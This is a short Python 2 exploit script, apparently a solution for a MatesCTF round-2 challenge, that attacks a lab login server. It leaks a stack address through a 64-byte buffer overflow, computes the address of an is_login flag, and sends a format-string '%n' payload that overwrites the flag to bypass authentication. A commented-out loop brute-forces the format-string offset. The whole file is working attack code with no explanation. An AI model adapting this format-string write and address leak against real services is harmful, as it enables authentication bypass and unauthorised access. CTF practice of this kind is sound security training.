matectf_round2_login_server.py

#!/usr/bin/python
# Author : peternguyen

from Pwn import *
import time

p = Pwn(host='lab01.matesctf.org',port=4001)

def login(buf):
	p.read_until('>')
	p.write('3\n')
	p.send(buf + '\n')

def exploit():
	p.connect()

	raw_input('Debug>')

	login('A'*64)

	l = p.read_until('Login successful.')
	fmt_addr = p.unpack(l[-21:-17])
	buf_addr = fmt_addr + 0x5d
	is_login = fmt_addr - 0x2d8

	print 'fmt_addr:',hex(fmt_addr)
	print 'password_addr:',hex(buf_addr)
	print 'is_login_addr:',hex(is_login)

	# offset = -1
	# for i in xrange(200,400):
	# 	payload = 'CCCAAAA%{}$p'.format(i)
	# 	payload = payload.ljust(64) + p.pack(buf_addr) 

	# 	login(payload)
	# 	l = p.read_until('ogin successful.')
	# 	print i,l
	# 	if '0x41414141' in l:
	# 		offset = i
	# 		break
	payload = 'CCC' + p.pack(is_login) + '%40x%214$n'
	payload = payload.ljust(64,'A') + p.pack(buf_addr)
	login(payload)

	p.read_until('>')
	p.write('2\n')
	print p.read_until('>')
	# sp.io()

exploit()